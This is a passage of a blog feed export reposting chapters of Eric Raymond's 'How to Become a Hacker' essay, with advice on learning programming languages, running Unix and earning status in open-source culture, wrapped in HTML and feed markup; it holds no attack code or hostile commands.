style=""&gt;No. Hacking uses very little   formal mathematics or arithmetic. In particular, you won't usually need   trigonometry, calculus or analysis (there are exceptions to this in a handful   of specific application areas like 3-D computer graphics). Knowing some   formal logic and Boolean algebra is good. Some grounding in finite   mathematics (including finite-set theory, combinatorics, and graph theory)   can be helpful.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;Much more importantly: you need to   be able to think logically and follow chains of exact reasoning, the way   mathematicians do. While the content of most mathematics won't help you, you   will need the discipline and intelligence to handle mathematics. If you lack   the intelligence, there is little hope for you as a hacker; if you lack the   discipline, you'd better grow it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;I think a good way to find out if   you have what it takes is to pick up a copy of Raymond Smullyan's book &lt;i&gt;What   Is The Name Of This Book?&lt;/i&gt;. Smullyan's playful logical conundrums are very   much in the hacker spirit. Being able to solve them is a good sign; &lt;i&gt;enjoying&lt;/i&gt;   solving them is an even better one.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;What language should I learn first?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;XHTML (the latest dialect of HTML)   if you don't already know it. There are a lot of glossy, hype-intensive &lt;i&gt;bad&lt;/i&gt;   HTML books out there, and distressingly few good ones. The one I like best is   &lt;a href="http://www.oreilly.com/catalog/html5/" target="_top"&gt;&lt;i&gt;HTML: The   Definitive Guide&lt;/i&gt;&lt;/a&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;But HTML is not a full programming   language. When you're ready to start programming, I would recommend starting   with &lt;a href="http://www.python.org/" target="_top"&gt;Python&lt;/a&gt;. You will hear   a lot of people recommending Perl, and Perl is still more popular than   Python, but it's harder to learn and (in my opinion) less well designed.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;C is really important, but it's   also much more difficult than either Python or Perl. Don't try to learn it   first.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;Windows users, do &lt;i&gt;not&lt;/i&gt;   settle for Visual Basic. It will teach you bad habits, and it's not portable   off Windows. Avoid.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;What kind of hardware do I need?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;It used to be that personal   computers were rather underpowered and memory-poor, enough so that they   placed artificial limits on a hacker's learning process. This stopped being   true in the mid-1990s; any machine from an Intel 486DX50 up is more than   powerful enough for development work, X, and Internet communications, and the   smallest disks you can buy today are plenty big enough.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;The important thing in choosing a   machine on which to learn is whether its hardware is Linux-compatible (or   BSD-compatible, should you choose to go that route). Again, this will be true   for almost all modern machines. The only really sticky areas are modems and   wireless cards; some machines have Windows-specific hardware that won't work   with Linux.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;There's a FAQ on hardware   compatibility; the latest version is &lt;a href="http://en.tldp.org/HOWTO/Hardware-HOWTO/index.html" target="_top"&gt;here&lt;/a&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;I want to contribute. Can you help   me pick a problem to work on?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;No, because I don't know your   talents or interests. You have to be self-motivated or you won't stick, which   is why having other people choose your direction almost never works.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;Try this. Watch the project   announcements scroll by on &lt;a href="http://freshmeat.net/" target="_top"&gt;Freshmeat&lt;/a&gt;   for a few days. When you see one that makes you think "Cool! I'd like to   work on that!", join it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Do I need to hate and bash   Microsoft?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;No, you don't. Not that Microsoft   isn't loathsome, but there was a hacker culture long before Microsoft and   there will still be one long after Microsoft is history. Any energy you spend   hating Microsoft would be better spent on loving your craft. Write good code   — that will bash Microsoft quite sufficiently without polluting your karma.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;But won't open-source software   leave programmers unable to make a living?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;This seems unlikely — so far, the   open-source software industry seems to be creating jobs rather than taking   them away. If having a program written is a net economic gain over not having   it written, a programmer will get paid whether or not the program is going to   be open-source after it's done. And, no matter how much "free"   software gets written, there always seems to be more demand for new and   customized applications. I've written more about this at the &lt;a style="border-bottom-style: groove;" href="http://www.opensource.org/" target="_top"&gt;Open Source&lt;/a&gt; pages.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Q:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;Where can I get a free Unix?&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt;  &lt;tr style=""&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;A:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;   &lt;td style="padding: 0.75pt;" valign="top"&gt;   &lt;p&gt;&lt;span style=""&gt;If you don't have a Unix installed   on your machine yet, elsewhere on this page I include pointers to where to   get the most commonly used free Unix. To be a hacker you need motivation and   initiative and the ability to educate yourself. Start now...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p&gt;&lt;span style=""&gt;&lt;br /&gt;&lt;!--[if !supportLineBreakNewLine]--&gt; &lt;!--[endif]--&gt;&lt;/span&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;  &lt;p&gt;&lt;b&gt;----------------------------thread ends--------------------------------&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-1.html"&gt;chapter-1&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-2.html"&gt;chapter-2&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-3.html"&gt;chapter-3&lt;/a&gt;&lt;br /&gt;&lt;a href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-4.html"&gt;chapter-4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;source:Article written by Sir ESR&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-3276747766258248538?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/3276747766258248538/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=3276747766258248538' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/3276747766258248538'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/3276747766258248538'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-4.html' title='How to become a hacker-ch 4'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-4362764807428205440</id><published>2008-11-21T00:21:00.002+05:30</published><updated>2008-11-21T00:57:04.885+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><category scheme='http://www.blogger.com/atom/ns#' term='Tutorials'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>How to become a hacker-ch 3</title><content type='html'>&lt;span style="font-weight: bold; font-style: italic; color: rgb(255, 255, 255);"&gt;Chapter-3&lt;/span&gt;  &lt;p class="MsoNormal"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;amp;postID=541517530539981089#_What_Is_a_Hacker?"&gt;  &lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;b&gt;Table of Contents&lt;/b&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;  &lt;/p&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;Status in the Hacker Culture&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="" lang="EN"&gt;1. Write open-source software&lt;br /&gt;&lt;br /&gt;2. Help test and debug open-source software&lt;br /&gt;&lt;br /&gt;3. Publish useful information&lt;br /&gt;&lt;br /&gt;4. Help keep the infrastructure working&lt;br /&gt;&lt;br /&gt;5. Serve the hacker culture itself&lt;/span&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;span style="" lang="EN"&gt;Like most cultures without a money economy, hackerdom runs on reputation. You're trying to solve interesting problems, but how interesting they are, and whether your solutions are really good, is something that only your technical peers or superiors are normally equipped to judge.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;br /&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Accordingly, when you play the hacker game, you learn to keep score primarily by what other hackers think of your skill (this is why you aren't really a hacker until other hackers consistently call you one). This fact is obscured by the image of hacking as solitary work; also by a hacker-cultural taboo (gradually decaying since the late 1990s but still potent) against admitting that ego or external validation are involved in one's motivation at all.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt; &lt;span class="fullpost"&gt; &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Specifically, hackerdom is what anthropologists call a &lt;i&gt;gift culture&lt;/i&gt;. You gain status and reputation in it not by dominating other people, nor by being beautiful, nor by having things other people want, but rather by giving things away. Specifically, by giving away your time, your creativity, and the results of your skill.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;There are basically five kinds of things you can do to be respected by hackers:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a name="_1._Write_open-source_software"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;1. Write open-source software&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;The first (the most central and most traditional) is to write programs that other hackers think are fun or useful, and give the program sources away to the whole hacker culture to use.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;(We used to call these works “free software”, but this confused too many people who weren't sure exactly what “free” was supposed to mean. Most of us now prefer the term “&lt;a href="http://www.opensource.org/" target="_top"&gt;open-source&lt;/a&gt;” software).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Hackerdom's most revered demigods are people who have written large, capable programs that met a widespread need and given them away, so that now everyone uses them.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;But there's a bit of a fine historical point here. While hackers have always looked up to the open-source developers among them as our community's hardest core, before the mid-1990s most hackers most of the time worked on closed source. This was still true when I wrote the first version of this HOWTO in 1996; it took the mainstreaming of open-source software after 1997 to change things. Today, "the hacker community" and "open-source developers" are two descriptions for what is essentially the same culture and population — but it is worth remembering that this was not always so.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a name="_2._Help_test_and debug open-source "&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;2. Help test and debug open-source software&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;They also serve who stand and debug open-source software. In this imperfect world, we will inevitably spend most of our software development time in the debugging phase. That's why any open-source author who's thinking will tell you that good beta-testers (who know how to describe symptoms clearly, localize problems well, can tolerate bugs in a quickie release, and are willing to apply a few simple diagnostic routines) are worth their weight in rubies. Even one of these can make the difference between a debugging phase that's a protracted, exhausting nightmare and one that's merely a salutary nuisance.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;If you're a newbie, try to find a program under development that you're interested in and be a good beta-tester. There's a natural progression from helping test programs to helping debug them to helping modify them. You'll learn a lot this way, and generate good karma with people who will help you later on.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a name="_3._Publish_useful_information"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;3. Publish useful information&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Another good thing is to collect and filter useful and interesting information into web pages or documents like Frequently Asked Questions (FAQ) lists, and make those generally available.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Maintainers of major technical FAQs get almost as much respect as open-source authors.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a name="_4._Help_keep_the infrastructure wor"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;4. Help keep the infrastructure working&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;The hacker culture (and the engineering development of the Internet, for that matter) is run by volunteers. There's a lot of necessary but unglamorous work that needs done to keep it going — administering mailing lists, moderating newsgroups, maintaining large software archive sites, developing RFCs and other technical standards.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;People who do this sort of thing well get a lot of respect, because everybody knows these jobs are huge time sinks and not as much fun as playing with code. Doing them shows dedication.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;a name="_5._Serve_the_hacker culture itself"&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;5. Serve the hacker culture itself&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Finally, you can serve and propagate the culture itself (by, for example, writing an accurate primer on how to become a hacker :-)). This is not something you'll be positioned to do until you've been around for while and become well-known for one of the first four things.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;The hacker culture doesn't have leaders, exactly, but it does have culture heroes and tribal elders and historians and spokespeople. When you've been in the trenches long enough, you may grow into one of these. Beware: hackers distrust blatant ego in their tribal elders, so visibly reaching for this kind of fame is dangerous. Rather than striving for it, you have to sort of position yourself so it drops in your lap, and then be modest and gracious about your status.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span class="fullpost"&gt;&lt;a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-1.html"&gt; chapter-1&lt;/a&gt;&lt;br /&gt;&lt;a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-2.html"&gt;chapter-2&lt;/a&gt;&lt;br /&gt;&lt;a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-3.html"&gt;chapter-3&lt;/a&gt;&lt;br /&gt;&lt;a style="border-bottom-style: groove;" href="http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-4.html"&gt;chapter-4&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;source:Article written by Sir ESR&lt;/span&gt;&lt;br /&gt;&lt;span style="" lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2609857889221977448-4362764807428205440?l=ankitunleashed.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ankitunleashed.blogspot.com/feeds/4362764807428205440/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=2609857889221977448&amp;postID=4362764807428205440' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/4362764807428205440'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2609857889221977448/posts/default/4362764807428205440'/><link rel='alternate' type='text/html' href='http://ankitunleashed.blogspot.com/2008/11/how-to-become-hacker-ch-3.html' title='How to become a hacker-ch 3'/><author><name>Ankit Agarwal</name><uri>http://www.blogger.com/profile/04026923538267657452</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2609857889221977448.post-1614078792809148744</id><published>2008-11-21T00:13:00.008+05:30</published><updated>2008-11-21T23:44:41.890+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='info'/><category scheme='http://www.blogger.com/atom/ns#' term='Tutorials'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>How to become a hacker-ch 2</title><content type='html'>&lt;p class="MsoNormal"&gt;&lt;span style="font-weight: bold; font-style: italic; color: rgb(255, 255, 255);"&gt;Chapter-2&lt;/span&gt;  &lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;amp;postID=541517530539981089#_What_Is_a_Hacker?"&gt;  &lt;/a&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;b&gt;Table of Contents&lt;/b&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;Basic Hacking Skills&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;1. Learn how to program.&lt;br /&gt;&lt;br /&gt;2. Get one of the open-source Unixes and learn to use and run it.&lt;br /&gt;&lt;br /&gt;3. Learn how to use the World Wide Web and write HTML.&lt;br /&gt;&lt;br /&gt;4. If you don't have functional English, learn it.&lt;br /&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;span style="text-decoration: underline;"&gt;&lt;/span&gt;&lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=2609857889221977448&amp;amp;postID=1614078792809148744#4.%20If%20you%20don%27t%20have%20functional%20English,%20learn%20it."&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;The hacker attitude is vital, but skills are even more vital. Attitude is no substitute for competence, and there's a certain basic toolkit of skills which you have to have before any hacker will dream of calling you one.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;This toolkit changes slowly over time as technology creates new skills and makes old ones obsolete. For example, it used to include programming in machine language, and didn't until recently involve HTML. But right now it pretty clearly includes the following:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;  &lt;p class="MsoNormal"&gt;&lt;a name="_1._Learn_how_to program."&gt;&lt;/a&gt;&lt;b&gt;&lt;span style="" lang="EN"&gt;1. Learn how to program.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;This, of course, is the fundamental hacking skill. If you don't know any computer languages, I recommend starting with Python. It is cleanly designed, well documented, and relatively kind to beginners. Despite being a good first language, it is not just a toy; it is very powerful and flexible and well suited for large projects. I have written a more detailed &lt;a href="http://www.linuxjournal.com/article.php?sid=3882" target="_top"&gt;evaluation of Python&lt;/a&gt;. Good &lt;a href="http://docs.python.org/tut/tut.html" target="_top"&gt;tutorials&lt;/a&gt; are available at the &lt;a href="http://docs.python.org/tutorial/" target="_top"&gt;Python web site&lt;/a&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;I used to recommend Java as a good language to learn early, but &lt;a href="http://www.stsc.hill.af.mil/CrossTalk/2008/01/0801DewarSchonberg.html" target="_top"&gt;this critique&lt;/a&gt; has changed my mind (search for “The Pitfalls of Java as a First Programming Language” within it). A hacker cannot, as they devastatingly put it “approach problem-solving like a plumber in a hardware store”; you have to know what the components actually &lt;i&gt;do&lt;/i&gt;. Now I think it is probably best to learn C and Lisp first, then Java.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;If you get into serious programming, you will have to learn C, the core language of Unix. C++ is very closely related to C; if you know one, learning the other will not be difficult. Neither language is a good one to try learning as your first, however. And, actually, the more you can avoid programming in C the more productive you will be.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;C is very efficient, and very sparing of your machine's resources. Unfortunately, C gets that efficiency by requiring you to do a lot of low-level management of resources (like memory) by hand. All that low-level code is complex and bug-prone, and will soak up huge amounts of your time on debugging. With today's machines as powerful as they are, this is usually a bad tradeoff — it's smarter to use a language that uses the machine's time less efficiently, but your time much &lt;i&gt;more&lt;/i&gt; efficiently. Thus, Python.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;Other languages of particular importance to hackers include &lt;a href="http://www.perl.com/" target="_top"&gt;Perl&lt;/a&gt; and &lt;a href="http://www.lisp.org/" target="_top"&gt;LISP&lt;/a&gt;. Perl is worth learning for practical reasons; it's very widely used for active web pages and system administration, so that even if you never write Perl you should learn to read it. Many people use Perl in the way I suggest you should use Python, to avoid C programming on jobs that don't require C's machine efficiency. You will need to be able to understand their code.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;LISP is worth learning for a different reason — the profound enlightenment experience you will have when you finally get it. That experience will make you a better programmer for the rest of your days, even if you never actually use LISP itself a lot. (You can get some beginning experience with LISP fairly easily by writing and modifying editing modes for the Emacs text editor, or Script-Fu plugins for the GIMP.)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;It's best, actually, to learn all five of Python, C/C++, Java, Perl, and LISP. Besides being the most important hacking languages, they represent very different approaches to programming, and each will educate you in valuable ways.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;But be aware that you won't reach the skill level of a hacker or even merely a programmer simply by accumulating languages — you need to learn how to think about programming problems in a general way, independent of any one language. To be a real hacker, you need to get to the point where you can learn a new language in days by relating what's in the manual to what you already know. This means you should learn several very different languages.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN"&gt;I can't give complete instructions on how to learn to program here — it's a complex skill. But I can tell you that books and courses won't do it — many, maybe &lt;i&gt;most&lt;/i&gt; of the best hackers are self-taught. You can learn 